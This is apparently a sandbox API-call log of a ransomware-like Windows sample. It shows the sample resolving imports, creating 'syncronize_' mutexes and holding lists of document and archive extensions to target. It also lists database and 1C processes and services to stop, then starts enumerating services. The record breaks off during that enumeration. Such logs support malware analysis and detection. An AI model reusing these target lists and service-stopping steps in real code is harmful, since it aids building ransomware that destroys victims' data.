# Flog Txt Version 1
# Analyzer Version: 3.2.1
# Analyzer Build Date: Feb  5 2020 10:35:20
# Log Creation Date: 13.02.2020 00:39:29.081

Process:
	id = "1"
	image_name = "dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"
	page_root = "0x432e9000"
	os_pid = "0x13a8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x7d0"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x13ac

	[0048.336] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76750000
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="GetProcAddress") returned 0x767651b0
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="GetModuleHandleW") returned 0x767650d0
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="FindNextFileW") returned 0x767bee40
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="FindClose") returned 0x767bed70
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="MoveFileW") returned 0x7679e500
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="GetFileSizeEx") returned 0x767bef40
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="GetModuleFileNameW") returned 0x76765090
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="GetFileAttributesW") returned 0x767bef10
	[0048.336] GetProcAddress (hModule=0x76750000, lpProcName="ExitProcess") returned 0x76763cb0
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="GetCommandLineW") returned 0x76764cc0
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="GetComputerNameW") returned 0x767932c0
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="GetComputerNameA") returned 0x76793780
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="CreateMutexW") returned 0x767beb70
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="lstrlenW") returned 0x76766c70
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="lstrlenA") returned 0x76766c50
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="GetCurrentProcess") returned 0x767bea10
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="WaitForSingleObject") returned 0x767beca0
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="GetLogicalDrives") returned 0x76760d20
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="GetTickCount") returned 0x767bdd50
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="DeleteFileW") returned 0x767bed40
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="WideCharToMultiByte") returned 0x76766b10
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x767bebb0
	[0048.337] GetProcAddress (hModule=0x76750000, lpProcName="Sleep") returned 0x76766760
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="LeaveCriticalSection") returned 0x7789b250
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="ReadFile") returned 0x767bf090
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="CreateFileW") returned 0x767bed10
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="OpenMutexW") returned 0x767bebf0
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="EnterCriticalSection") returned 0x7789b2d0
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="WaitForMultipleObjects") returned 0x767bec80
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="lstrcmpiW") returned 0x76766bf0
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="lstrcmpiA") returned 0x76766bd0
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="DeleteCriticalSection") returned 0x7787fb90
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="ReleaseMutex") returned 0x767bec20
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="CloseHandle") returned 0x767beab0
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="GetVersion") returned 0x767656c0
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="CreateThread") returned 0x767646b0
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="ExpandEnvironmentStringsW") returned 0x76764a40
	[0048.338] GetProcAddress (hModule=0x76750000, lpProcName="QueryPerformanceCounter") returned 0x76765da0
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="QueryPerformanceFrequency") returned 0x76765dc0
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="GetCurrentProcessId") returned 0x767bea20
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="SetFileAttributesW") returned 0x767bf100
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="GetVolumeInformationW") returned 0x767bf020
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="WriteFile") returned 0x767bf180
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="SetFilePointerEx") returned 0x767bf130
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="SetEndOfFile") returned 0x767bf0e0
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="FindFirstFileW") returned 0x767bedf0
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="GetProcessHeap") returned 0x767651f0
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="HeapReAlloc") returned 0x7788f630
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="HeapAlloc") returned 0x77892dc0
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="HeapFree") returned 0x767657f0
	[0048.339] GetProcAddress (hModule=0x76750000, lpProcName="CreatePipe") returned 0x76764590
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="SetHandleInformation") returned 0x767beae0
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="CreateProcessW") returned 0x76764610
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="CompareStringW") returned 0x76764430
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="CompareStringA") returned 0x76764410
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="OpenProcess") returned 0x76765cc0
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="TerminateProcess") returned 0x767667e0
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="GetSystemTime") returned 0x767654e0
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="SystemTimeToFileTime") returned 0x767667a0
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="GetLastError") returned 0x76765010
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="CreateToolhelp32Snapshot") returned 0x7679edc0
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="Process32NextW") returned 0x7679f8f0
	[0048.340] GetProcAddress (hModule=0x76750000, lpProcName="Process32FirstW") returned 0x7679f750
	[0048.340] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76390000
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="RegOpenKeyExW") returned 0x763ae580
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="RegQueryValueExW") returned 0x763ae5a0
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="RegSetValueExW") returned 0x763af530
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="RegCloseKey") returned 0x763aed60
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="OpenProcessToken") returned 0x763aefb0
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="GetTokenInformation") returned 0x763aee90
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="OpenSCManagerW") returned 0x763b0540
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="OpenServiceW") returned 0x763afa20
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="CloseServiceHandle") returned 0x763afc00
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="ControlService") returned 0x763c26d0
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="QueryServiceStatus") returned 0x763b2380
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="EnumDependentServicesW") returned 0x763c2f70
	[0051.147] GetProcAddress (hModule=0x76390000, lpProcName="EnumServicesStatusExW") returned 0x763afc80
	[0051.147] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76240000
	[0055.469] GetProcAddress (hModule=0x76240000, lpProcName="SystemParametersInfoW") returned 0x7626f210
	[0055.469] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74e50000
	[0062.486] GetProcAddress (hModule=0x74e50000, lpProcName="ShellExecuteExW") returned 0x74fb4730
	[0062.486] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77850000
	[0062.486] GetProcAddress (hModule=0x77850000, lpProcName="NtQuerySystemInformation") returned 0x778c2070
	[0062.486] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x741a0000
	[0062.629] GetProcAddress (hModule=0x741a0000, lpProcName="WNetCloseEnum") returned 0x741a2640
	[0062.629] GetProcAddress (hModule=0x741a0000, lpProcName="WNetOpenEnumW") returned 0x741a2790
	[0062.629] GetProcAddress (hModule=0x741a0000, lpProcName="WNetEnumResourceW") returned 0x741a2410
	[0062.629] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x768b0000
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="WSAStartup") returned 0x768b5b40
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="socket") returned 0x768c4510
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="send") returned 0x768b5030
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="recv") returned 0x768c0c50
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="connect") returned 0x768b5410
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="closesocket") returned 0x768c0910
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="gethostbyname") returned 0x768e6cb0
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="inet_addr") returned 0x768c9160
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="ntohl") returned 0x768b49d0
	[0062.943] GetProcAddress (hModule=0x768b0000, lpProcName="htonl") returned 0x768b49d0
	[0062.944] GetProcAddress (hModule=0x768b0000, lpProcName="htons") returned 0x768c8ff0
	[0062.944] GetProcessHeap () returned 0x500000
	[0062.944] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x20) returned 0x50b138
	[0062.944] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=15626817042) returned 1
	[0062.944] GetTickCount () returned 0x1150aca
	[0062.944] GetCurrentProcessId () returned 0x13a8
	[0062.945] GetTickCount () returned 0x1150aca
	[0062.945] GetTickCount () returned 0x1150aca
	[0062.945] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x20) returned 0x50adf0
	[0062.945] GetVersion () returned 0x23f00206
	[0062.945] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x7) returned 0x516ed8
	[0062.945] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x517688
	[0062.945] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517688, Size=0x20) returned 0x50ae90
	[0062.945] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x50ae90, Size=0x40) returned 0x51a498
	[0062.945] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x51e820
	[0062.945] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_F5163RA") returned 0x0
	[0062.945] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_F5163RA") returned 0x1ec
	[0062.946] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x516ed8 | out: hHeap=0x500000) returned 1
	[0062.946] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0062.946] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x51a498 | out: hHeap=0x500000) returned 1
	[0062.946] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x7) returned 0x516f08
	[0062.946] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x517820
	[0062.946] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517820, Size=0x20) returned 0x50ae90
	[0062.946] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x50ae90, Size=0x40) returned 0x51a3c0
	[0062.946] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x52e828
	[0062.946] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_F5163RU") returned 0x0
	[0062.946] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_F5163RU") returned 0x1f0
	[0062.946] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x516f08 | out: hHeap=0x500000) returned 1
	[0062.946] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0062.946] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x51a3c0 | out: hHeap=0x500000) returned 1
	[0062.946] GetVersion () returned 0x23f00206
	[0062.946] GetCurrentProcess () returned 0xffffffff
	[0062.946] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0062.947] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0062.947] CloseHandle (hObject=0x1f4) returned 1
	[0062.947] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0062.947] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x516698
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x517658
	[0062.947] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517658, Size=0x20) returned 0x50ae90
	[0062.947] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x50ae90, Size=0x40) returned 0x51a0a8
	[0062.947] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a0a8, Size=0x80) returned 0x511e48
	[0062.947] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x511e48, Size=0x100) returned 0x517410
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x34) returned 0x5195d8
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x516da8
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x516db8
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x516dd8
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x517820
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x516e98
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x517868
	[0062.947] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516e98, Size=0x8) returned 0x516ed8
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x517898
	[0062.947] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516ed8, Size=0x10) returned 0x5175f8
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x517658
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x517670
	[0062.947] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5175f8, Size=0x20) returned 0x50ae90
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5175f8
	[0062.947] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x517688
	[0062.947] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516da8, Size=0x8) returned 0x516e98
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516db8, Size=0x8) returned 0x516e58
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x516db8
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5176a0
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x516ed8
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5176d0
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516ed8, Size=0x8) returned 0x516da8
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5176e8
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516da8, Size=0x10) returned 0x517718
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x517928
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x516da8
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517718, Size=0x20) returned 0x53ecc0
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516e98, Size=0x10) returned 0x517718
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516e58, Size=0x10) returned 0x517958
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x516e58
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x517970
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x516ed8
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x5178f8
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516ed8, Size=0x8) returned 0x516e98
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x516ed8
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5178e0
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x516f08
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x517988
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x516f08, Size=0x8) returned 0x53f1c8
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517718, Size=0x20) returned 0x53e9c8
	[0062.948] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517958, Size=0x20) returned 0x53eab8
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8) returned 0x53f208
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x5178c8
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x53f168
	[0062.948] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xa) returned 0x517910
	[0062.949] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f168, Size=0x8) returned 0x53f178
	[0062.949] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x5166b8
	[0062.949] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x5166d8
	[0062.949] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0062.949] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517410 | out: hHeap=0x500000) returned 1
	[0062.949] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0062.952] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x517958
	[0062.952] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517958, Size=0x20) returned 0x53e888
	[0062.952] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e888, Size=0x40) returned 0x51a5b8
	[0062.952] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a5b8, Size=0x80) returned 0x517d78
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517d78, Size=0x100) returned 0x517410
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x517940
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517940, Size=0x20) returned 0x53ec48
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ec48, Size=0x40) returned 0x51a408
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a408, Size=0x80) returned 0x517d78
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517d78, Size=0x100) returned 0x517bb0
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x517958
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x53f1b8
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x517940
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f1b8, Size=0x8) returned 0x53f1d8
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x5165b8
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f1d8, Size=0x10) returned 0x517718
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x18) returned 0x516518
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1a) returned 0x53e8b0
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517718, Size=0x20) returned 0x53ece8
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1c) returned 0x53e8d8
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x16) returned 0x516738
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1a) returned 0x53eb08
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xc) returned 0x517718
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x4) returned 0x53f148
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40) returned 0x51a330
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f148, Size=0x8) returned 0x53f0e8
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x3c) returned 0x51a498
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53f0e8, Size=0x10) returned 0x544328
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x516758
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x18) returned 0x516778
	[0062.953] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544328, Size=0x20) returned 0x53ec70
	[0062.953] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x24) returned 0x515650
	[0062.953] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0062.953] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517410 | out: hHeap=0x500000) returned 1
	[0062.953] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0062.953] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517bb0 | out: hHeap=0x500000) returned 1
	[0062.953] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53ec48
	[0062.958] EnumServicesStatusExW (in: hSCManager=0x53ec48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0062.960] GetLastError () returned 0xea
	[0062.960] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ce8) returned 0x546758
	[0062.960] EnumServicesStatusExW (in: hSCManager=0x53ec48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x546758, cbBufSize=0x1ce8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x546758, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0062.961] CloseServiceHandle (hSCObject=0x53ec48) returned 1
	[0062.962] lstrlenW (lpString="Appinfo") returned 7
	[0062.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0062.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0062.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0062.964] lstrlenW (lpString="AppXSvc") returned 7
	[0062.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0062.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0062.964] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0062.964] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0062.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0062.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0062.964] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0062.964] lstrlenW (lpString="Audiosrv") returned 8
	[0062.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0062.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0062.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0062.964] lstrlenW (lpString="BFE") returned 3
	[0062.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0062.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0062.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
